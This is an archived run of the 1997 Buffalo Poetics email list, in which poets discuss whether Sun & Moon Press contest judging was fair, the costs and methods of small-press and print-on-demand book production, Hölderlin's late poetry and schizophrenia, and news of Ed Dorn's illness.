Douglas Messerli

↑ Index

885. **David Israel**
Re: Book Contests/AN IDEA
Thu 29 May 1997

Herb --

As yuppie lawyers were wont to say to we lowly word processors: good catch. --

>>> Herb Levy <[redacted]> 05/29/97 01:17pm >>>
I hesitate to continue a discussion that's already been beaten into the ground, but David Israel's statement that

> *I do know that Sun & Moon's judge of the*
> *competition is someone decidedly other than Doug M.;*

<snip>

> *Poetry: Rob Fitterman, METROPOLIS (chosen by Bruce Andrews)*
> *Fiction: Eleana Greenspan, POSSESSED BY A DEMON (chose by*
> *Douglas Messerli)*

I was (however) only aware of the poetry prize and hadn't taken notice of the fiction prize at all. So, (anyway), seems my statement was only applicable to the part I was aware of . . .

I guess Doug didn't recuse himself (as the yuppie . . .) from Category B-- maybe bec. he's not a fiction writer (??)

d.i.

↑ Index

886. **henry gould**
Re: Book Contests/AN IDEA
Thu 29 May 1997

Henry Gould said:
>Then again, the "Doug Messerli" who was the independent judge who chose
>fiction may actually be a heteronym of Jack Spandrift. Can you help us
>here, Jack?

Henry, this is really out of line considering that most people are set nomail this season. I suggest you project an thorough e-apology for such scurrilous & typical internet superhighway sort of cheese off the truck. - Eric Blarnes

> *Who asked you, Blarnes?*
> *We have only memories of spiritual gates. Watergates, that is.*
> *- Spandrift, with apologies to Hart Crane who apologizes to Samuel Greenberg*

↑ Index

887. **Joseph Duemer**
Re: a writing utensil of one's own
Thu 29 May 1997

Rebecca Reynolds wrote:
>
> A tangential response to schizophrenia/language posts:
>
> My father, who worked at St. Elizabeth's, took a group of his
> schizophrenic patients to the Mormon Temple outside D.C. one day, and
> during the course of the visit one of the men peed on the light-blue
> wall-to-wall carpeting and said gleefully to the tour guide,
> "oh, look what I did!"
>
> Perhaps this is a case where the impulse and the necessity coincide?
>
> --Rebecca Reynolds

Sometimes, as Wittgenstein pointed out, language
comes up against an ontological barrier, so that all
that's left is the gesture. Now that's what I call
a gesture toward meaning!

jd

--

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

888. Fred Muratori
Gettysburg Review
Thu 29 May 1997

Just happened across Ronald Wallace's poem "L*A*N*G*U*A*G*E" in the new (Summer '97) issue of _The Gettysburg Review_. Was this already discussed in this forum? (I've missed a number of posts lately.) If not, it's a grouchy, reductive little polemic against postmodernism as the poet understands it, which -- as I understand his understanding -- dismisses completely the personal, imagistic memory bank he claims as the true mine for poetry. It's an example of how non-Romantic (Modernist?) strains of and claims for poetry strike at the viscera of those who feel their very identities and integrities are at stake when the legitimacy of the domestic, autobiographical lyric is called into question. It reminds me of how angrily some "free verse" poets reacted when the New Formalists started publishing. Interesting, in a tsk-tsk kinda way.

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

****

↑ Index

889. **Herb Levy**

Re: Book Contests/AN IDEA

Thu 29 May 1997

I hesitate to continue a discussion that's already been beaten into the ground, but David Israel's statement that

> *I do know that Sun & Moon's judge of the*
> *competition is someone decidedly other than Doug M.;*

in the midst of an otherwise reasonable (in the abstract) presentation of why & how competitions should be fair, etc. didn't jibe with my memory, previously jogged by Dodie Bellamy's posts, of an earlier announcement by Douglas Messerli of winners and judges.

So, having time on my hands this morning while waiting for Airborne Express to show up with my CPU upgrade today, I looked around at the EPC archives

<http://listserv.acsu.buffalo.edu/archives/poetics.html>

and found the post below, which I assume is the one to which Dodie refered to earlier.

(This might be a good place to note once again that, although receipt of this e-mail discussion list in realtime is closed, secret, private, etc., all of the posts made to the list are quite easily available to anyone with Web access at the EPC.)

Note the description, again reasonable in the abstract, of how manuscripts are judged, then note the judge of the final winner in fiction. Regardless of the circumstances that may explain the lack of an external judge, it seems there wasn't one in this instance.

:
>----------
>
>Date: Thu, 12 Sep 1996 09:33:20 -0700
>Reply-To: UB Poetics discussion group <[redacted]>
>Sender: UB Poetics discussion group <[redacted]>
>From: Douglas Messerli <[redacted]>
>Subject: Sun & Moon NAP and NAF competitions
>
>Now that the season has begun, I thought you might
>want to be reminded for yourself, your students, and
>for your friends that Sun & Moon Press is still reading
>manuscripts for its 1996 New American Poetry (NAP) and
>New American Fiction (NAF) competitions.
>

>The competitions are open from January 1 to December 30th
>of each year. All manuscripts are read both in-house and
>by an independent judge.
>
>Full length manuscripts of either poetry or fiction may be
>entered. Please put your name and address on the title page
>(but do not repeat it elsewhere, since the manuscripts out
>of house are read blindly).
>
>There is a $25.00 entrance fee which is used toward the
>publication of the books.
>
>If you wish your manuscript returned after the competition
>, please enclose a self-addressed, stamped envelope.
>
>The award winners are announced each year in February. And
>the books will be published within the next calendar year.
>
>This past year's (1995) winners were:
>
>Poetry: Rob Fitterman, METROPOLIS (chosen by Bruce Andrews)
>Fiction: Eleana Greenspan, POSSESSED BY A DEMON (chose by
> Douglas Messerli)
>
>
>Douglas Messerli
>
>----------
>Back to: Top of message | Previous menu | Main POETICS menu

Herb Levy
[redacted]

↑ Index

890. **Hugh Steinberg**
Re: Book Contests/AN IDEA
Thu 29 May 1997

Mark writes:

>Let me ascribe nobler motives to myself and other publishers for a moment.
>I'm interested in production (and design) values for four reasons--I can get
>the books more places, they're more durable, the poets like them better, and

>I think that the beauty of book-as-object is part of "what's really
>important." But do it however works for you.
>By the way, anyone who tells you it costs 5k to produce a book is a fool or
>a thief.
>
Although my records are currently packed up (I leave Chicago in two days), here's a rough breakdown on how much it costs to produce a typical Tia Chucha Book, as we have budgeted for it. This is for a perfectbound book of about 55 pages with a print run of two thousand copies.

Printing: $3,500
Honoraria: $500
Designer: $500
Promotion: $400
Postage: $100

That comes to about $5000. Granted, you can probably skimp on the designer fees (we think our designer is grossly underpaid for her services--one of the reasons Tia Chucha books sell is because they look great) and the honoraria (we are able to pay honoraria because we have a lannan grant (who really needs to pay poets?)). You can print fewer books. You can skip promotion costs and just pray the books will magically leave the trunk of your car (replaced with a wad of bucks, of course). But any way you slice, it's expensive and difficult.

If any of you have advice as to how to do what we do for less money, I'd love to hear it.

Hugh Steinberg

↑ Index

891. Fred Muratori
Re: Book Contests/AN IDEA
Thu 29 May 1997

> *If any of you have advice as to how to do what we do for less money, I'd love to hear it.*
>
> *Hugh Steinberg*

Not being a publisher, I'm probably just blowing wind here, but I think DocuTech technology -- assuming a publisher or consortium of publishers could handle the initial capital outlay for the equipment, which is expensive -- might have quite an effect on niche-market publishing. The outfit that published my last book -- BASFAL Books -- started to do this. Once they've got the text in electronic form -- less and less of a problem since most poets use computers these days anyhow -- they print out however many copies they need without

committing themselves to initial press runs of 1000 or whatever, which then need to be warehoused for eons. Since poetry volumes usually sell in quantities of one or two or three, printing on demand from disk is an attractive option. The big expense, I assume, is the cover. Of course, not every press would need to own the equipment; jobs could be sub-contracted, just as catalog printing is now. In some contexts this practice could enable a press to devote more resources to promotion. To a poet, getting the word out is probably more important than a token honorarium.

In BASFAL's case, alas, poetry publishing proved not to be the profitable venture they'd (unrealistically) envisioned at the outset. The first five or six poetry titles were handsomely printed in runs of 1000 -- too many, really, for a fledgling press with no reputation and no really big names -- and when after a year or so they didn't sell out -- thanks mostly to an unfamiliarity with how literary presses find their readers -- the publisher got discouraged enough to get out of the po-biz. The last couple of titles were done using DocuTech, which proved to be better economically, but it was too little to late. Still, as the cost of digital technology drops over time, it could benefit poetry publishing.

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

****

↑ Index

892. **David Israel**
Gettysburg Review -Reply
Thu 29 May 1997

<< . . . an example of how non-Romantic (Modernist?) strains of and claims for poetry strike at the viscera of those who feel their very identities and integrities are at stake when the legitimacy of the domestic, autobiographical lyric is called into question. It reminds me of how angrily some "free verse" poets reacted when the New Formalists started publishing. Interesting, in a tsk-tsk kinda way.

****

Fred Muratori >>

| half-interesting in a tsk-tsk kinda way
| thin-curious in a tut-tut sorta fashion
| we shuttle the splat circumference of the day
| a passage with lotsa shun if short on passion
| the fish long gone what lingered were idle frisson
| some wishbone drawn from dream got in the way?
| the lineback & the linebreak shared a mission
| half-interesting in a tsk-tsk kinda way

d.i.

↑ Index

893. Henry Gould
Re: Book Contests
Thu 29 May 1997

This is clearly a case in which epic list gossip has led to a possible improvement in the US literary scene.[1]

Congratulations, Doug, for your publishing work over the years. Congratulations, Dodie, for speaking up.

My suggestion for the problem of finding a fiction judge: initiate a Fiction Judge Contest, in which for a nominal entry fee of $45-50. people would have a chance to funnel out a historic player clothed with the moon & the sun. The fee would pay for the judge.

Congratulations, Jack Spandrift, for this wonderful suggestion, which I pass along.

- Henry Gould

1] see archive under "epic gossip".

↑ Index

894. Markus Foutu
Re: Book Contests
Thu 29 May 1997

---

perhapse the facade of "objective" publishing shd be dropped if you can not read un solicited ms do not accept them

Q: are the ratios of incoming ms to published ms different than the ratios of incoming contest ms/to winners?

How can anyone ask poets of all artists- (a successful painter (rare) does make money... a successful poet (rarer) simply does not.... to then ask sd poet to PAY

to be read is sinful.... Publish what YOU love. Drop the pretense of discovering the NEW GREAT LIT. then when you loose money it ant a waste of YOUR time and YOUR money.

IF WE WANT THIS TYPE OF COMPETITION THEN WE SHOULD ALL GO INTO THE STOCK MARKET...NOT ART.

Markus Foutu

↑ Index

895. **Jennifer Ashton**
Asian-American poetry
Thu 29 May 1997

I am trying to put together a survey of 20th-century Asian-American lit, and while I have found many contemporary texts to teach, I am having trouble with finding texts from 1900 to about 1950. I have found some excellent autobiographical texts, but I am desperately in need of some ideas for poetry and fiction.

Please copy any posts to me via backchannel.

With Gratitude,

Jennifer Ashton
The Johns Hopkins University
[redacted]

↑ Index

896. **HENRY**
Re: Gettysburg Review -Reply
Thu 29 May 1997

Half-hearted in a hole-wait kinda hokum
hocus-pocus goes the biscuit-tasket train
a-fattening up the tea-time of our slum
(midway Midases' subway terrain
or some Medusa's balding hairline
in the rain) How come?
The graves of Academe opine
their coal-cars mix tsk-tsk a sexy rum

- Eric Blarnes

[from Eric's new volume of verse, VROOM WITH A VIEW, available soon from Univ. of Left Overbie Press]

↑ Index

897. Gwyn McVay
questions
Thu 29 May 1997

What does "Foutu" mean in French? cd. somebody backchannel?

What's wrong with going into the stock market AND art, save denting the myth of artist-as-special-chosen-soul?

Without reading fees, how wd. one propose to pay those who read the submitted masterpieces to determine which is masterpieciest?

What is, she said, employing a collage-type allusion to faintly musty popular culture, the average velocity of an unladen sparrow?

Gwyn

↑ Index

898. Peter Landers
Re: S & M, CHB
Thu 29 May 1997

I just picked Ron's name out of a hat, thinking of the anthology. My undelivered meaning was: If a reader goes there to find someone better known, like Djuna Barnes from the modernist era, and discovers a new young writer like James Sherry, then it's good. Ms. Bellamy, like myself, takes a special interest in writing by women, so I hoped that Djuna Barnes' SMOKE and Other Stories would remind her of what is good about Sun and Moon.

Please remember, all, that most small presses operate in the red and any money you send them, be it for a contest or when buying a book, helps all of us. I feel defensive on behalf of small presses, and will usually jump into a fray if I think one is under fire.

On the other hand, I don't enter contests because I never win.

Pete Landers
http://www.frontiernet.net/~landers/LF.html

↑ Index

899. **George Thompson**
Re: a writing utensil of one's own
Thu 29 May 1997

> *Rebecca Reynolds wrote:*
>
> *A tangential response to schizophrenia/language posts:*
>
> *My father, who worked at St. Elizabeth's, took a group of his schizophrenic patients to the Mormon Temple outside D.C. one day, and during the course of the visit one of the men peed on the light-blue wall-to-wall carpeting and said gleefully to the tour guide, "oh, look what I did!"*
>
> *Perhaps this is a case where the impulse and the necessity coincide?*
>
> *--Rebecca Reynolds*
>
> *Sometimes, as Wittgenstein pointed out, language comes up against an ontological barrier, so that all that's left is the gesture. Now that's what I call a gesture toward meaning!*
>
> *jd*

A tangent to a tangent:

Ever since getting Robert Archambeau's interesting biblio. to the lang. of schizophrenia I've been digging around for an article by Roman Jakobson [with Grete Lübbe-Grothues]. I've finally found it. It's called "The Language of Schizophrenia: Hölderlin's Speech and Poetry" [in _Verbal Art, Verbal Sign, Verbal Time_, reprinted from _Poetics Today_ vol. 2, No. 1a (1980)].

Interesting stuff. Apparently, H's schizophrenia drove him to bizarre language behavior that scared off or overwhelmed most of his friends and relatives. Dialogue with him was hardly possible. Besides typical things like being unable to look people in the eye, and a strong desire to avoid saying 'yes' or 'no', H also had a habit of addressing his interlocutor as 'Yr Highness' or 'Yr Majesty', and and even 'Yr Grace' and 'Yr Holiness.' He refused any gifts of books, ate alone, etc.

It gets more curious. He refused to acknowledge his own name [preferred 'Killalusimeno' or 'Scardanelli' or 'Scaliger Rosa' -- Jakobson sees anagrams of 'Hölderlin' in some of this], and essentially eliminated 'I' from his so-called conversations.

This is what might interest poets: all the while that he was behaving like this, H could sit down, in the presence of visitors, and crank out exquisite, metrically perfect poems [he used to whip them off in minutes for his landlord, while never addressing him]. [Unfortunately the poems are not provided in the article, and I haven't read them]. Jakobson's analysis is fascinating but I won't go into details. Here's just one line that is briefly cited:

"But what remains is brought about by poets"

What interests me is the apparent autonomy of the poetic function from the social, from dialogue, etc. Any thoughts on this?

George

↑ Index

900. **David Israel**
Re: questions
Thu 29 May 1997

---

footnote-queries anenet Gwyn McVay's Q.#4 --

> *What is, she said, employing a collage-type allusion to faintly musty popular culture, the average velocity of an unladen sparrow?*

1. mightn't the po-folk at The New Yorker have an opinion on this?
2. I miss your allusion. (Do you catch mine?)
3. Not, I assume, as in "The Mighty ~"

d.i.

↑ Index

901. **DS**
Re: questions
Thu 29 May 1997

---

isn't it a swallow?

Swallow - followed by -

African or European.

I don't know

At 05:07 PM 5/29/97 -0400, you wrote:
>footnote-queries anenet Gwyn McVay's Q.#4 --
>
>> What is, she said, employing a collage-type allusion to faintly musty
>> popular culture, the average velocity of an unladen sparrow?
>

>1. mightn't the po-folk at The New Yorker have an opinion on this?
>2. I miss your allusion. (Do you catch mine?)
>3. Not, I assume, as in "The Mighty ~"
>
>d.i.
>
>

↑ Index

902. **Pritchett,Pat**
Re: no man may him hyde
Thu 29 May 1997

It may not be my place to post this information, but I feel compelled to in the interests of those who may care and who won't find out otherwise. I hope I'm not committing a violation of privacy. I've just learned that Ed Dorn has been diagnosed with pancreatic cancer and has only a few months, so doctors think, to live.

I know there are more than a few people on this list who have a legitimate bone to pick with Ed, and I don't mean to trivialize the issue by resorting to such a mild colloquialism. Despite all the acrimony that raged around his name on this list in the past, I found him, in my brief and quite insignificant association with him over the past semester, to be a gentle soul with a passionate love for poetry and a waggish bemusement at the endless disparities of humanity.

> "It is general to be mortal,
> I have well observed.
> No man may him hyde
> from deth hollow-eyed."
> - Skelton

Patrick Pritchett

↑ Index

903. **David Bromige**
how to produce books w/o bellying-up
Thu 29 May 1997

The first instance in my awareness of the process Fred Muratori describes was e.g. press, in San francisco, then run by David Highsmith. (This is the process whereby as many copies are printed, 50 or 100 At a time, as there is demand for.) My book the press did was _You See, Parts I & II_, a collaboration with

Opal Nations, in 1985. Highsmith did numerous titles before handing the press on to Gary Sullivan. I don't know if it has been allowed to go dormant. db

↑ Index

904. **Sylvester Pollet**

Re: questions

Thu 29 May 1997

Gwyn, I assume question 1. to be rhetorical, but maybe not. cf. Duncan's play "Faust Foutu," which translates, if you really want to do it, "Faust Fucked." As for back-channel, I don't know. I met Duncan, but never asked. Love all ways, sp

What does "Foutu" mean in French? cd. somebody backchannel?
>
>What's wrong with going into the stock market AND art, save denting the
>myth of artist-as-special-chosen-soul?
>
>Without reading fees, how wd. one propose to pay those who read the
>submitted masterpieces to determine which is masterpieciest?
>
>What is, she said, employing a collage-type allusion to faintly musty
>popular culture, the average velocity of an unladen sparrow?
>
>
>Gwyn

↑ Index

905. **David Israel**

Re: questions / sparrow story

Thu 29 May 1997

Well, not to be overly cryptic, here's an annotation to my annotation:

> *What is. . . the average velocity of an unladen sparrow?*
>
> *1. mightn't the po-folk at The New Yorker have an opinion on this?*

Sparrow (as you mightn't know) is the name of a (as the argot has it) downtown poet in NYC who (along w/ a number of others) is said to have staged -- maybe 2 years ago? -- a daily sit-in-style protest at the offices of The New Yorker. The issue was what is (or more pointedly, isn't) included in said magazine's weekly poetry selection.

Seems Sparrow somewhat prevailed (and/or was bought off -- depending on p.o.v.): the august zine agreed to publish a couple of his own poems. I recall reading one brief poem of his some time ago in there. [It concerned a snowman and paternity, I think.] There was also one of those quaint Talk Of The Town tales, giving the story of Sparrow's sit-in in some of its quaint particulars.

(I'm acquainted w/ Sparrow on account of we both used to participate in the 200-copy xerox poets' circular *Tamarind* -- & I'd assume he still does). . . . end of footnote

d.i.

↑ Index

906. **dbkk**
Re: S & M, CHB
Thu 29 May 1997

At 4:48 PM -0400 5/29/97, Peter Landers wrote:
>Ms. Bellamy, like myself, takes
>a special interest in writing by women, so I hoped that Djuna Barnes'
>SMOKE and Other Stories would remind her of what is good about Sun and
>Moon.

When did I say anything bad about Sun & Moon? All I talked about was one specific incident with one specific contest. You're the one who's shooting for the moon here.

Dodie

↑ Index

907. **Peter Ganick**
Re: Book Contests/AN IDEA
Thu 29 May 1997

---

budget for a 100 page potes & poets press book
500 copies.....

printing -- with mcnaughton-gunn, inc -- $1800
typesetting -- have 2 or 3 persons -- $300
cover art and design -- 2 colors on white -- $300

and that's it....not including advertising and postage, etc....

i'll be off the group until saturday...then will pick up this thread....unfortunately i won't be able to read mail between tomorrow morning and then... out....

peter ganick
[redacted] -- from june 1 to june 8th

↑ Index

908. **Steven Marks**
another production idea
Fri 30 May 1997

Here's an inexpensive production alternative using binding machines that you can buy from your local stationery store. There are basically two types of machines. One punches a bunch of holes through the pages of your book and then threads a plastic comb through the holes. For about a dollar or less, you can buy the comb and a cover that you can run through a laser printer. So, if you have a way to do xeroxes cheaply, you can buy the machine and bind only as many books as you sell. The unit cost may be higher per book, but you can print and bind completely on demand. Instead of $2,000 to $5,000 upfront for a run plus inventory carrying costs, etc., you can do about 100 books for $500 and less if you have access to a copier. This includes an amorized cost for the binding machine which ranges from $400 to $600.

An even cheaper binding system can be bought for $90 to $200 which uses a thermal system to bind sheets of paper between various types of covers. You stick the cover in the machine, put the sheets of your book in the cover and turn on the machine. It heats the glue in the cover's spine, the sheets of paper sink into the glue and the whole thing binds together when the machine cools down. It ain't fast, but it can make a very presentable binding. Either of the systems would seem to work quite well for poetry books since you will probably never have to make more than a few books at a time.

The disadvantage is that the books are probably not of a sufficient quality to sell to libraries or to be handled by distributors, although it would be interesting if there is anybody with knowledge of Sm. Press Distr. who could say whether they would handle this type of book.

The systems I'm talking about are made by GBC and Avery Dennison. Like I said, most decent sized stationers could order the machine for you. And, for those who don't have the money to buy the binder by themselves, you could certainly share the cost and machine with other nearby publishers.

cheers,
Steven

p.s. I used to work in a stationery store (J. Solomon, Inc.). That's how I know about this stuff.

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

909. **Stephen Vincent**

Re: Book Contests/AN IDEA

Fri 30 May 1997

If we put the MBA analystical hat
on for a moment -- do not include
obvious vanity presses & magazines
in which entry fees are practically
automatic exchange for publication --
am I alone in thinking that application
fees for consideration in book awards
and various contests rose dramatically
as a phenomen with the decline of
NEA and States funding for small
presses and magazines? From a publisher's
point of view the entry fee became
alternative way of raising production money,
as well as a way to tighten the filter on
the receipt of unmanagebly huge numbers
of manuscripts. I think Doug Messerli's
recent post suggests as much.
Ironically what is healthy or makes
sense for the publisher hardly
coheres with the interest of the
writer, particularly if he or she is
unable to shed money into several
contests.
In Doug M's post I was curious about
the choice of Carla Harryman for the
winner of the fiction award. I'm both
a friend and fan of Carla's work. At the
same time I don't believe Doug needed
a contest to discover and publish
Carla -- at least I don't want to think so!
It's my impression that she is quite
well known in new &/or experimental

writing circles. I do, however, think being
a "winner" will help draw attention
among main stream reviewers to her
work - which is neither bad for Carla
or Sun & Moon. But in terms of the
contest's goal of seeking to uncover
an unknown writer, I wd
suspect "the unknown" participants
are, at least, scratching their heads.

I would have published Carla outright.

On another note (back to the NBA
thread as different from MBA or
MFA threads) I don't think I like Utah's
John Stockton but he played beautiful,
incredible in the last quarter of
tonight's game. I think
Charles Barkley ruined Huston. Selfish
to an enormous fault. Instead of baskets,
he drained Akeem, and the rest of
the Rockets, right out of the game.
It was good that Barkley looked
desperate and lost trying to block
Stockton's winning shot.
Court poetry. I say.

Cheers,
Stephen Vincent

↑ Index

910. George Bowering

Re: questions

Fri 30 May 1997

> *What does "Foutu" mean in French? cd. somebody backchannel?*

It is rather rude.
When you see that 5 bad guys are after you and you are in a box canyon, you say "Oh jeeze, I'm foutu!"

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

911. David Israel
(no subject)
Fri 30 May 1997

Steven Marks --

a p.s. to your latest production-note --

> *Here's an inexpensive production alternative using binding machines that you can buy from your local stationery store. There are basically two types of machines. . .*

both types of binding you describe ("Velo binding" and the glue-strip binding, not to mention a 3rd type: "spiral binding") are all available nation-wide (that's u.s.a. -- don't know abt. other lands), 24 hours per day, in (I expect) nearly every major metropolitan city, thanks to the good offices (commercial instincts) of a company known as KINKO'S.

I've had occasion to do my own small-edition (e.g., 4 or 5 copies) self-productions of MSS at Kinko's, and find their copying & binding facilities decent & inexpensive. (Not to mention convenience of being able to show up at 4 a.m., or whenever.)

Never considered (conceptualized) publication via that route, but it could certainly be done . . .

d.i.

(or course, those in Berkeley may favor [e.g.] Krishna Copy -- & those elsewhere may find the same technology at other outfits . . .; Kinko's has simply established the most pervasive commercial presence, seems)

↑ Index

912. Miekal And
Re: how to produce books w/o bellying-up
Fri 30 May 1997

Xexoxial which started out as Xerox Sutra in 1980 was founded on the idea of books produced in unlimited small editions based on demand. In 1980 when xerox machines (or copiers as we now call them) were clunky low res simulations of printing machines there was almost no one in the small press world

going this route because the stigma of the time was that unless a title had been printed offset in huge quanities, or letterpressed with utmost care there were no other recognizably valid ways of printing books. Keep in mind that the punk/zine world had already discovered copiers & much of these publications were in circulation, but at that time I encounter endless resistence to the idea of xerox books. & strangely the resistence from other publishers seemed to be more about the fact that a book was not published until you had your closet full of 100s of copies even tho there was no one to buy them or even stores to place them in.

Because we never printed huge editions XE has published over a 150 titles over the years, all are still available, still "in print" & have lessened to some degree the glut of unwanted poetry.

On a separate thread, XE has always side stapled its xerox book & glued covers around them. Our hard cover are old book with the insides ripped out, hand-painted & our titles bound to the inside. Not fine book making by any means but Ive seen 10 year old books that are still in good shape & certainly readable.

Just a few notes in the margins

Miekal
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

913. **MARK LEAHY**
Re: WRITING UTENSIL -- HOLDERLIN
Fri 30 May 1997

"but what remains is brought about by poets"

the line from Holderlin is discussed by Gianni Vattimo in one of the essays in _The End of Modernity_ ; he goes on to discuss a notion of monumentality The monument bears traces of the past into the future, for others; it does not defeat time but endures in time, bearing the marks of time. A poem is a monument by virtue of its having been worked, refined, eroded; the evidence it presents, its relation to truth, is that of the trace of an event, and not the authoritarian truth of metaphysics (Vattimo, 1988, p. 74-75) [my paraphrase]

in the same essay he discusses Heidegger's writings on poetry;

I've been listening in for a while and have been enjoying a lot of what comes up on this list;

Mark Leahy

↑ Index

914. **henry g**
Re: a writing utensil of one's own
Fri 30 May 1997

The answer is simple (as usual with me, it always is, heh heh).

Holderlin was a coyote.

- H

↑ Index

915. **Gwyn McVay**
Re: questions
Fri 30 May 1997

George B.--box canyon? is this also true of 4 guys attempting to share a box lunch?

Gwyn

↑ Index

916. **Fred Muratori**
Re: Book Contests/AN IDEA
Fri 30 May 1997

Re:

> *In Doug M's post I was curious about the choice of Carla Harryman for the winner of the fiction award. I'm both a friend and fan of Carla's work. At the same time I don't believe Doug needed a contest to discover and publish Carla -- at least I don't want to think so! It's my impression that she is quite well known in new &/or experimental writing circles.*
>
> *Cheers,*
> *Stephen Vincent*

And the same is true of the '95 poetry winner, Cole Swensen (whose work I admire, by the way), who was a National Poetry Series winner in the late-1980s and already quite well-known and respected, having had books issued by Quill and Burning Deck. No doubt the manuscript she submitted to the S&M contest would have been published gratefully by someone else -- no "discovery"-via-contest necessary here, either. Still, the selection of already-established writers from large contest pools suggests at least two obvious conclusions: (1) even established poets and fiction writers feel compelled to enter contests (which unfortunately elbows out the just-as-worthy but no-name small fry), and (2) even with the likely prospect of publishing their work with another press, well-known (relatively speaking) writers still want to publish with Sun & Moon. Who wouldn't?

-- FM

****
Fred Muratori "The spaces between things keep
([redacted]) getting bigger & more
Reference Services Division important."
Olin * Kroch * Uris Libraries - John Ashbery
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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917. George Thompson
Re: a writing utensil of one's own
Fri 30 May 1997

> *The answer is simple (as usual with me, it always is, heh heh).*
>
> *Holderlin was a coyote.*
>
> *- H*

Yes he *really* was!

Well before his "madness" he had produced a translation of Pindar that was so idiosyncratic [and so faithful to the Grk] that a good portion of his audience thought he was mad even then.

And what did the good doctors think of him? Well, one called his late poetry "a catatonic form of imbecility", whereas another called him "the greatest of the schizophrenics." I don't think that they've figured him out even now.

G.

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918. Maria Damon
Re: no man may him hyde
Fri 30 May 1997

---

thanks for the news, pat. i don't think that there was much personal acrimony in that skirmish a few months ago. people didn't like some of the things dorn had said and done, and we said so. not liking what someone has said and done does not prevent one from feeling the basic sympathy when that someone is terminally ill.

sometimes i feel that our discussions get way too colored by personal loyalties that obscure the intellectual issues at hand. --md

At 6:10 PM -0500 5/29/97, Pritchett,Pat @Silverplume wrote:
>It may not be my place to post this information, but I feel compelled to in
>the interests of those who may care and who won't find out otherwise. I hope
>I'm not committing a violation of privacy. I've just learned that Ed Dorn
>has been diagnosed with pancreatic cancer and has only a few months, so
>doctors think, to live.
>
>I know there are more than a few people on this list who have a legitimate
>bone to pick with Ed, and I don't mean to trivialize the issue by resorting
>to such a mild colloquialism. Despite all the acrimony that raged around his
>name on this list in the past, I found him, in my brief and quite
>insignificant association with him over the past semester, to be a gentle
>soul with a passionate love for poetry and a waggish bemusement at the
>endless disparities of humanity.
>
> "It is general to be mortal,
> I have well observed.
> No man may him hyde
> from deth hollow-eyed."
> - Skelton
>
>Patrick Pritchett

↑ Index

919. **Michael Magee**
Re: WRITING UTENSIL -- HOLDERLIN
Fri 30 May 1997

Just want to chime in that I read Vattimo's book, I guess almost 2 yrs ago now, and its very good, worth checking out for anyone interested in post-Nietzschean philosophy, etc. -Mike.

According to MARK LEAHY:
>
> "but what remains is brought about by poets"
>
> the line from Holderlin is discussed by Gianni Vattimo in one of the
> essays in _The End of Modernity_ ;
> he goes on to discuss a notion of
> monumentality
> The monument bears traces of the past into the future, for others; it
> does not defeat time but endures in time, bearing the marks of time. A
> poem is a monument by virtue of its having been worked, refined,
> eroded; the evidence it presents, its relation to truth, is that of
> the trace of an event, and not the authoritarian truth of metaphysics
> (Vattimo, 1988, p. 74-75) [my paraphrase]
>
> in the same essay he discusses Heidegger's writings on poetry;
>
> I've been listening in for a while and have been enjoying a lot of
> what comes up on this list;
>
> Mark Leahy
>

↑ Index

920. **Piombino/Simon**
Re: Hyde and seek
Fri 30 May 1997

Maria, I'm interested in your point about discussions and personal loyalties. Someone suggested, on the Pie Barrage thread that we discuss the issue of sympathy. I remember reading an article recently bitterly complaining about writers who reciprocate positive blurbs on each others books. I've often had the notion that writers emerge into the public eye by means of a circle of supporters who either urge them on or egg them on. My specific historical examples are the Max Brod/Kafka relationship, I can't remember at the moment Thomas

Wolfe's friend who edited his works, then there's Walter Benjamin/Gershom Scholem, among more recent poets Ted Berrigan/Ron Padgett, Carla Harryman/Barrett Watten,Michael Palmer/Michael Davidson,Clark Coolidge/ Bernadette Mayer,the terrific Washington D.C. circle of poets including Joan Retallack, Lynne Dreyer, Mark Wallace, Rod Smith our own David Bromige and George Bowering, and then there's the phenomenon of circles of friends, the Dadaists, surrealists, New York School poets, L=A school poets, etc, even the circle of discussants emerging on this list.Often, to follow up your point about basic sympathy, such sympathies can allow space for types of collaboration and exchange that otherwise couldn't exist, including publication cooperatives. Literary groups and circles-think of the surrealists!- are replete with examples of confrontation with and without acrimony.While I agree that discussions are slanted by personal loyalties, on the other hand such close relationships seem to be an important aspect of the dynamic that causes "intellectual issues" to exist at all. What are these issues aside from the relationships within which they emerge and which so much concern other relationships?Historically, thinking of such cases as the Dreyfus case, Genet, etc, it is the only power writers have at all, especially now in the face of the philistines who take away our NEA's. Right now, in my opinion, our writerly circles may be one of our most valuable assets, well worth whatever risk to objectivity. The key question, I feel, is how to exploit them communally to our best common advantage.Too often, I feel, "objectivity" is used to bludgeon any space for subjectivity, especially in literary activities. Perhaps in literary terms "objectivity" is a tone, like any other. Cordially, Nick P.On Fri, 30 May 1997, Maria Damon wrote:

> *thanks for the news, pat. i don't think that there was much personal acrimony in that skirmish a few months ago. people didn't like some of the things dorn had said and done, and we said so. not liking what someone has said and done does not prevent one from feeling the basic sympathy when that someone is terminally ill.*
>
> *sometimes i feel that our discussions get way too colored by personal loyalties that obscure the intellectual issues at hand. --md*
>
> *At 6:10 PM -0500 5/29/97, Pritchett,Pat @Silverplume wrote:*
> *It may not be my place to post this information, but I feel compelled to in the interests of those who may care and who won't find out otherwise. I hope I'm not committing a violation of privacy. I've just learned that Ed Dorn has been diagnosed with pancreatic cancer and has only a few months, so doctors think, to live.*
>
> *I know there are more than a few people on this list who have a legitimate bone to pick with Ed, and I don't mean to trivialize the issue by resorting to such a mild colloquialism. Despite all the acrimony that raged around his name on this list in the past, I found him, in my brief and quite*

